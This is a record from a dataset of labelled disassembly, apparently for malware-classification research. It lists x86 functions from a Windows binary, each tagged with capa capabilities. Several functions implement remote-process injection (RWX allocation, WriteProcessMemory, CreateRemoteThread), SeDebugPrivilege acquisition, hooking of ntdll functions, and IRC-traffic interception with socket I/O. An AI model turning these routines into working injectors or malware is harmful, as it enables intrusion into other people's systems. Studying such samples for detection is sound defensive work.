joyce8/EMBER2024-capa huggingface dataset:
Function at 0xba36b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0x5a4d
push ebx
push edi
cmp word [esi], ax
jne 0xba3732
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0xba3732
mov eax, dword [eax + 0x78]
mov ecx, dword [eax + esi + 0x1c]
mov edi, dword [eax + esi + 0x20]
add eax, esi
add ecx, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x14]
add ecx, esi
add edi, esi
xor ebx, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
jbe 0xba3732
mov eax, dword [edi]
mov ecx, dword [ebp + 8]
add eax, esi
mov edi, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0xba3720
test dl, dl
je 0xba371c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0xba3720
add ecx, 2
add eax, 2
test dl, dl
jne 0xba3700
xor eax, eax
jmp 0xba3725
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0xba373a
inc ebx
add edi, 4
cmp ebx, dword [ebp - 4]
jb 0xba36f7
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + ebx*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
add eax, esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xba3b90
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0xba3ba0
xor eax, eax
pop edi
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp eax, 0x40
jle 0xba3bad
mov eax, 0x40
push ebx
xor ebx, ebx
push esi
mov dword [edi], eax
test eax, eax
jbe 0xba3c6c
lea eax, [edi + 0x244]
lea esi, [edi + 0x104]
mov dword [ebp + 8], eax
lea ebx, [ebx]
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
mov dword [esi], eax
test eax, eax
je 0xba3c76
push 0
push 0
push 0x10000
push 0x10000
push 0xff
push 0
push 0x40000001
lea edx, [edi + 0x744]
push edx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [esi - 0x100], eax
cmp eax, 0xffffffff
je 0xba3c76
mov ecx, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0xba3c76
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
setne dl
inc dl
mov byte [ebx + edi + 0x204], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0xba3c5c
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
add dword [ebp + 8], 0x14
inc ebx
add esi, 4
cmp ebx, dword [edi]
jb 0xba3bd0
pop esi
pop ebx
mov eax, 1
pop edi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop ebx
xor eax, eax
pop edi
pop ebp
ret
Function at 0xba4100
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ecx + 0x3c]
movzx eax, word [edi + ecx + 0x14]
add edi, ecx
xor edx, edx
xor ebx, ebx
lea esi, [eax + edi + 0x18]
cmp dx, word [edi + 6]
jae 0xba415a
add esi, 0x10
test byte [esi + 0x14], 0x80
jne 0xba4131
mov eax, dword [esi - 8]
cmp eax, dword [esi]
jbe 0xba414e
mov eax, dword [esi]
mov edx, dword [esi - 8]
sub edx, eax
push edx
mov edx, dword [esi - 4]
add edx, eax
add edx, ecx
push 0
push edx
call fcn.00ba35f0
mov ecx, dword [ebp + 8]
add esp, 0xc
movzx eax, word [edi + 6]
inc ebx
add esi, 0x28
cmp ebx, eax
jl 0xba4124
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0xba4160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0xbd7a70]
push ebx
push esi
push edi
push eax
xor eax, eax
xor ebx, ebx
mov dword [ebp - 4], 0
call fcn.00ba4020
mov ecx, dword [ebp + 8]
add esp, 4
push 0x40
push 0x3000
push eax
push ebx
push ecx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0xba428f
mov edx, dword [0xbd7a70]
push edx
lea ebx, [ebp - 4]
call fcn.00ba4020
mov ebx, dword [ebp - 4]
add esp, 4
test ebx, ebx
je 0xba4270
push ebx
call fcn.00ba4100
mov edi, dword [ebp + 0xc]
mov eax, ebx
sub eax, dword [0xbd7a70]
add esp, 4
mov dword [eax + 0xbd7a70], esi
test edi, edi
je 0xba420d
mov esi, dword [ebp + 0x10]
test esi, esi
je 0xba420a
mov edx, dword [esi + 4]
mov ecx, dword [esi + 8]
add edx, dword [0xbd7a70]
mov eax, dword [esi]
push ecx
push edx
add eax, ebx
push eax
call fcn.00ba3640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0xba41e3
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 0x14]
test edi, edi
je 0xba4241
mov esi, dword [ebp + 0x18]
test esi, esi
je 0xba423e
mov eax, dword [esi]
mov ecx, dword [esi + 8]
sub eax, dword [0xbd7a70]
mov edx, dword [esi + 4]
push ecx
push edx
add eax, ebx
push eax
call fcn.00ba3640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0xba4217
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push edi
push ebx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0xba4270
cmp edi, dword [ebp - 0x10]
jne 0xba4270
push ebx
call fcn.00ba37f0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test ebx, ebx
je 0xba428f
push ebx
call fcn.00ba37f0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xba42e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.00ba35e0
cmp dword [0xbd7a64], eax
je 0xba42f9
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
push ebx
mov dword [ebp - 4], edi
call fcn.00ba42a0
add esp, 4
test eax, eax
je 0xba4318
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi + 8]
test eax, eax
je 0xba433a
push 0x40
push 0x3000
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0xba439f
mov eax, dword [esi + 8]
test eax, eax
je 0xba435e
mov edx, dword [esi + 4]
lea ecx, [ebp - 8]
push ecx
push eax
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0xba439f
mov eax, dword [esi + 8]
cmp eax, dword [ebp - 8]
jne 0xba439f
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
push ecx
mov ecx, dword [esi + 0xc]
push edx
push eax
push ecx
push ebx
call fcn.00ba4160
add esp, 0x14
mov dword [ebp - 4], eax
test eax, eax
je 0xba439f
mov edx, dword [esi]
sub edx, dword [0xbd7a70]
push 0
push 0
push edi
add edx, eax
push edx
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0xba43d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test edi, edi
je 0xba43ba
push 0x8000
push 0
push edi
push ebx
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0xba43cc
push 0x8000
push 0
push eax
push ebx
call esi
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.00ba37f0
mov eax, dword [ebp + 0x10]
add esp, 4
test eax, eax
je 0xba43f4
mov dword [eax], esi
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xba4ae0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0xba4b54
mov edi, dword [ebp + 0xc]
test edi, edi
je 0xba4b54
push 0xd10
push 0
push esi
mov dword [ebp + 8], 0
call fcn.00ba35f0
push 0x104
lea eax, [esi + 0xc08]
push edi
push eax
call sub.MSVCRT.dll_strncpy
push edi
lea ecx, [ebp - 0x104]
push str.__sMutex
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x24
lea edx, [ebp - 0x104]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi], eax
test eax, eax
jne 0xba4b5c
push esi
call fcn.00ba4880
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push str._s_0
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
lea ecx, [ebp - 0x104]
push ecx
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor ebx, ebx
test eax, eax
sete bl
test eax, eax
je 0xba4b9d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0xba4bb4
push 0x10
lea eax, [ebp + 8]
mov ecx, esi
call fcn.00ba4560
add esp, 4
test eax, eax
je 0xba4bd1
lea edi, [ebp + 8]
call fcn.00ba4470
xor edi, edi
mov dword [esi + 0x804], eax
cmp eax, edi
jne 0xba4bda
push esi
call fcn.00ba4880
add esp, 4
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp ebx, edi
je 0xba4c08
mov edx, dword [esi]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0xba4c08
mov eax, dword [esi + 0x804]
mov dword [eax + 8], edi
mov ecx, dword [esi + 0x804]
mov dword [ecx + 0xc], edi
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xba4d00
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
call fcn.00ba35e0
cmp dword [0xbe9204], eax
jne 0xba4d24
call fcn.00ba35e0
mov eax, 1
mov esp, ebp
pop ebp
ret
call fcn.00ba35e0
mov dword [0xbe9204], eax
call fcn.00ba3a20
test eax, eax
jne 0xba4d3d
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0xbd7bf8
mov dword [0xbd7bf8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0xba4d37
push esi
call fcn.00ba3f90
push 0xedb88320
call fcn.00ba2d60
push 0x10000
push 0xbd89b8
push 0
push 0
push 0xbd7a80
call fcn.00ba3390
push 0xbd7a80
push 0xbd89a8
call fcn.00ba6040
mov esi, dword [ebp + 8]
push esi
push 0xbd7c98
call fcn.00ba4ae0
push esi
push 0xbe89b8
call fcn.00ba3ac0
push 0x104
push esi
push 0xbd7ae8
call sub.MSVCRT.dll_strncpy
add esp, 0x3c
lea eax, [ebp - 4]
push eax
push 0x800
lea ecx, [ebp - 0x804]
push ecx
push 0x1b
call fcn.00ba35d0
push eax
call dword [0xbb7944]
pop esi
test eax, eax
jl 0xba4e53
movzx edx, word [ebp - 0x802]
push edx
push 0xbd7a80
call fcn.00ba3440
mov cx, word [ebp - 0x804]
mov dx, word [ebp - 0x802]
mov word [0xbd7a78], cx
movzx ecx, cx
mov word [0xbd7a7a], dx
mov edx, dword [ebp - 0x800]
push ecx
push edx
push eax
mov dword [0xbd7a7c], eax
call fcn.00ba3640
movzx eax, word [0xbd7a78]
mov edx, dword [0xbd7a7c]
shr eax, 1
xor ecx, ecx
mov word [edx + eax*2], cx
movzx eax, word [0xbd7a78]
mov ecx, dword [0xbd7a7c]
shr eax, 1
push eax
push ecx
call fcn.00ba4cc0
add esp, 0x1c
mov dword [0xbe9200], eax
call fcn.00ba35e0
push str.NtGetNextProcess
push str.ntdll.dll
call fcn.00ba3890
push eax
call fcn.00ba3750
push 1
push str.SeDebugPrivilege
mov dword [0xbd7c94], eax
call fcn.00ba4c20
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0xba5220
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x218
mov eax, 0x5a4d
push ebx
mov ebx, ecx
cmp word [ecx], ax
je 0xba5240
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0xba5239
mov edx, 0x14c
cmp word [eax + 4], dx
jne 0xba5239
mov eax, dword [eax + 0x80]
test eax, eax
je 0xba52ee
cmp dword [eax + ecx + 0xc], 0
push esi
lea esi, [eax + ecx + 0xc]
je 0xba52ed
push edi
mov eax, dword [esi]
add eax, ebx
push eax
mov dword [ebp - 0xc], eax
call fcn.00ba3670
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], ax
add esp, 4
xor ecx, ecx
lea eax, [ebp - 0x218]
push ecx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
mov word [ebp - 8], cx
push eax
lea ecx, [ebp - 8]
mov edx, 0x104
push ecx
mov word [ebp - 6], dx
call dword [0xbb793c]
test eax, eax
jl 0xba52e4
mov edx, dword [ebp - 0xc]
push edx
call fcn.00ba3890
mov edi, eax
test edi, edi
je 0xba52e4
mov eax, dword [0xbe9208]
push edi
push eax
lea ecx, [ebp - 8]
call fcn.00ba4e90
add esp, 8
test eax, eax
je 0xba52e4
push edi
call fcn.00ba5220
add esp, 4
add esi, 0x14
cmp dword [esi], 0
jne 0xba5273
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xba5a20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.00ba35e0
cmp dword [0xbe9204], eax
je 0xba5c49
call fcn.00ba3a20
test eax, eax
je 0xba5c49
push ebx
mov ebx, dword [0xbd7a70]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x80]
add eax, ebx
push esi
push edi
test ecx, ecx
je 0xba5ae5
cmp dword [eax + 0x84], 0
je 0xba5ae5
mov eax, dword [ecx + ebx + 0xc]
lea edi, [ecx + ebx]
mov dword [ebp - 4], edi
test eax, eax
je 0xba5ae5
add eax, ebx
push eax
call fcn.00ba3920
mov edx, eax
mov dword [ebp - 8], edx
test edx, edx
je 0xba5c46
mov eax, dword [edi]
mov ecx, dword [edi + 0x10]
lea esi, [eax + ebx]
test eax, eax
jne 0xba5a9c
lea esi, [ecx + ebx]
mov eax, dword [esi]
test eax, eax
je 0xba5ad8
lea edi, [ecx + ebx]
jmp 0xba5aaa
mov edx, dword [ebp - 8]
test eax, eax
jns 0xba5ab3
movzx eax, word [esi]
jmp 0xba5ab7
lea eax, [eax + ebx + 2]
push eax
push edx
call fcn.00ba3750
mov dword [edi], eax
test eax, eax
je 0xba5c46
mov eax, dword [esi + 4]
add esi, 4
add edi, 4
test eax, eax
jne 0xba5aa7
mov edi, dword [ebp - 4]
mov eax, dword [edi + 0x20]
add edi, 0x14
mov dword [ebp - 4], edi
test eax, eax
jne 0xba5a78
push 0xbd7ae8
call fcn.00ba4d00
mov eax, dword [0xbe9208]
mov esi, dword [ebp + 8]
mov ecx, dword [eax + 0x34]
add esp, 4
push esi
push 0xba5040
add ecx, eax
push 0
mov dword [0xbd7bf0], ecx
call dword [0xbb7940]
push 0xbe920c
push 0xba53d0
push str.NtResumeThread
push str.ntdll.dll
push 0xbe9a18
call fcn.00ba3080
push 0xbd7bec
push 0xba5300
push str.LdrLoadDll
push str.ntdll.dll
push 0xbe9a38
call fcn.00ba3080
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov edx, dword [0xbd7a70]
add esp, 0x28
lea edi, [eax + edx]
test ecx, ecx
je 0xba5b70
neg eax
sbb eax, eax
and eax, edi
push eax
add ecx, edx
call ecx
mov edx, dword [esi + 0x28]
mov eax, dword [esi + 0x30]
lea eax, [eax + edx*2]
xor ebx, ebx
lea ecx, [eax + eax*2]
lea edi, [esi + ecx*4 + 0x4c]
cmp dword [esi + 0x38], ebx
jbe 0xba5bcc
cmp dword [edi + 4], 0
je 0xba5bc3
mov eax, dword [edi]
mov edx, dword [0xbe9200]
add eax, dword [0xbd7a70]
push edx
push eax
call fcn.00ba39a0
add esp, 8
test eax, eax
jne 0xba5bc3
mov eax, dword [edi + 8]
mov ecx, dword [0xbd7a70]
lea edx, [eax + ecx]
neg eax
sbb eax, eax
and eax, edx
mov edx, dword [edi + 4]
push eax
add edx, ecx
call edx
inc ebx
add edi, 0xc
cmp ebx, dword [esi + 0x38]
jb 0xba5b87
mov ecx, dword [esi + 0x20]
mov edi, dword [0xbd7a70]
mov eax, dword [esi + 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ecx + edi]
add edi, eax
test ecx, ecx
je 0xba5bf4
neg eax
sbb eax, eax
and eax, edi
push eax
call edx
test eax, eax
je 0xba5c0c
push 0
push 0
push 0
push 0xba5070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
mov eax, dword [esi + 0x10]
mov ecx, dword [0xbd7a70]
mov esi, dword [esi + 0x14]
lea edx, [eax + ecx]
add ecx, esi
test eax, eax
je 0xba5c2e
neg esi
sbb esi, esi
and esi, ecx
push esi
call edx
test eax, eax
je 0xba5c46
push 0
push 0
push 0
push 0xba50f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xba6870
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.00ba6850
test eax, eax
jne 0xba687c
xor eax, eax
ret
push 0xbe9c70
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0xba6879
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbe9c70
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0xbe9c70
ret

Function at 0xba68b0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push 1
push 0x26
push 0xbe9e78
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0xba68c6
ret
push str.Internet_Exploreriexplore.exe
push 0xbe9e78
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, 0xbe9e78
ret

Function at 0xba6940
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
test esi, esi
je 0xba6a31
test dword [ebp + 0xc], 0x40000000
je 0xba6a31
push esi
call fcn.00ba19f0
add esp, 4
test eax, eax
je 0xba6a31
push str.autorun.inf
push eax
call fcn.00ba39a0
add esp, 8
test eax, eax
jne 0xba6a31
push str.pdef
call fcn.00ba7700
add esp, 4
cmp eax, 1
jne 0xba6a31
push 0xbb17f0
push 0xbb6e90
mov edi, eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0xba6a31
push 0xbeac50
push 0xbb6d88
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0xba6a31
push 0x80
push 0xbb6e90
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0xbb6e90
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
push 0
push 0xbb6d88
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test al, al
je 0xba6a19
push 0xbb6d88
push esi
push 0xbea710
push 0xbb63ec
push str._s.Blocked___S__from_creating___S______s__will_be_removed_at_reboot_
call fcn.00baa310
add esp, 0x14
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
push 0xbea710
push 0xbb63ec
push str._s.Blocked___S__from_creating___S_
call fcn.00baa310
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0xba6a40
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x10f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov eax, dword [0xbead58]
add esp, 0xc
cmp eax, ebx
je 0xba6a82
cmp dword [ebp + 8], eax
je 0xba6ba2
push esi
mov esi, dword [ebp + 0x18]
cmp esi, 5
jb 0xba6ba1
push str.pdef
call fcn.00ba7700
add esp, 4
test eax, eax
je 0xba6ba1
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push edi
push ecx
push str._s:_d
push 0xbb18cc
call fcn.00ba73e0
add esp, 0x10
cmp eax, 1
je 0xba6ba0
cmp edi, 0x19c8
jb 0xba6adc
cmp edi, 0x1b58
jbe 0xba6ba0
cmp esi, 0x200
ja 0xba6ba0
cmp dword [str.PRIVMSG_], ebx
je 0xba6ba0
mov edi, dword [ebp + 0x14]
mov esi, 0xbb5658
lea esp, [esp]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esi]
push eax
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0xba6b84
push 4
push str.JOIN
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
je 0xba6b42
push 7
push str.PRIVMSG
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0xba6b7d
lea ecx, [ebp - 0x110]
push ecx
push str.JOIN__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
je 0xba6b76
lea edx, [ebp - 0x110]
push edx
push str.PRIVMSG__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
jne 0xba6b7d
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
inc ebx
cmp dword [ebx*4 + 0xbb5658], 0
lea esi, [ebx*4 + 0xbb5658]
jne 0xba6b00
cmp dword [ebp - 4], 0
ja 0xba6baa
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
push esi
push edi
push str._s:_d
push str.block
call fcn.00ba73e0
add esp, 0x10
test eax, eax
jne 0xba6c1a
cmp dword [ebp - 8], 1
jne 0xba6c01
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0xba6c01
lea ecx, [ebp - 0x110]
push ecx
push esi
push edi
push 0xbea710
push 0xbb63ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d__Target:__s_.
call fcn.00baa310
add esp, 0x18
jmp 0xba6c1a
push esi
push edi
push 0xbea710
push 0xbb63ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d.
call fcn.00baa310
add esp, 0x14
mov eax, dword [0xbea2ac]
push 0x80
push 0xbea710
test eax, eax
je 0xba6c31
call eax
jmp 0xba6c37
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 4
push 0
push 0xbea710
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0xc]
push edx
call fcn.00ba35d0
push eax
call fcn.00ba6d90
mov eax, dword [ebp + 8]
add esp, 8
test eax, eax
jbe 0xba6c65
push eax
call sub.WS2_32.dll_closesocket
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0xba7e20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x103a
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 4], 1
test esi, esi
jne 0xba7e44
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push edi
push 0x10
push ecx
lea edi, [esi + 8]
push edi
mov dword [esi + 4], eax
call fcn.00ba3640
add esp, 0xc
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi + 0x18], eax
cmp eax, 0xffffffff
je 0xba7eb4
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
je 0xba7eb4
mov eax, dword [esi + 0x18]
push 0x10
push edi
push eax
call sub.WS2_32.dll_connect
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], 1
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1020]
mov dword [esi], edx
mov eax, dword [eax]
mov dword [eax + 0x1020], esi
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xba7f90
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub esp, 0x104
push esi
mov esi, dword [ebp + 0xc]
cmp dword [esi + 0x1c], 0
push edi
je 0xba804f
mov ecx, dword [esi + 0x18]
lea edi, [eax + 0x1018]
push edi
push 0
lea edx, [ebp - 0x104]
push edx
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0xba801c
mov eax, dword [esi + 0x20]
mov dword [esi + 0x1c], 0
test eax, eax
je 0xba8109
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x18]
push 0
push ecx
push eax
push edx
call sub.WS2_32.dll_send
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov dword [esi + 0x20], 0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x18]
push edi
lea edx, [ebp - 0x104]
push edx
push 0
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
dec eax
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret
movzx ecx, word [esi + 0x1038]
test cx, cx
jne 0xba80d6
mov ecx, dword [esi + 0x18]
add eax, 0x1018
push eax
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0xba8109
mov ecx, dword [esi + 0x18]
push 0
push 0x1000
lea eax, [esi + 0x2f]
push eax
push ecx
call sub.WS2_32.dll_recv
mov word [esi + 0x1038], ax
test ax, ax
ja 0xba80b3
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov word [esi + 0x2d], ax
add eax, 7
mov word [esi + 0x1038], ax
pop edi
mov dword [esi + 0x28], edx
mov byte [esi + 0x2c], 3
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [eax]
push 0
movzx ecx, cx
push ecx
lea edi, [esi + 0x28]
push edi
push edx
call sub.WS2_32.dll_send
test eax, eax
jle 0xba8109
sub word [esi + 0x1038], ax
movzx ecx, word [esi + 0x1038]
push ecx
lea edx, [eax + esi + 0x28]
push edx
push edi
call fcn.00ba3640
add esp, 0xc
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xba8120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov esi, dword [eax + 0x1020]
test esi, esi
je 0xba8174
push esi
push edi
call fcn.00ba7f90
add esp, 8
test eax, eax
jne 0xba816e
mov ecx, dword [esi + 4]
push eax
mov eax, dword [edi]
push 5
lea edx, [ebp - 8]
mov dword [ebp - 8], ecx
mov byte [ebp - 4], 2
mov ecx, dword [eax]
push edx
push ecx
call sub.WS2_32.dll_send
push esi
push edi
call fcn.00ba7ef0
add esp, 8
mov esi, eax
jmp 0xba8170
mov esi, dword [esi]
test esi, esi
jne 0xba8137
pop edi
pop esi
mov esp, ebp
pop ebp
ret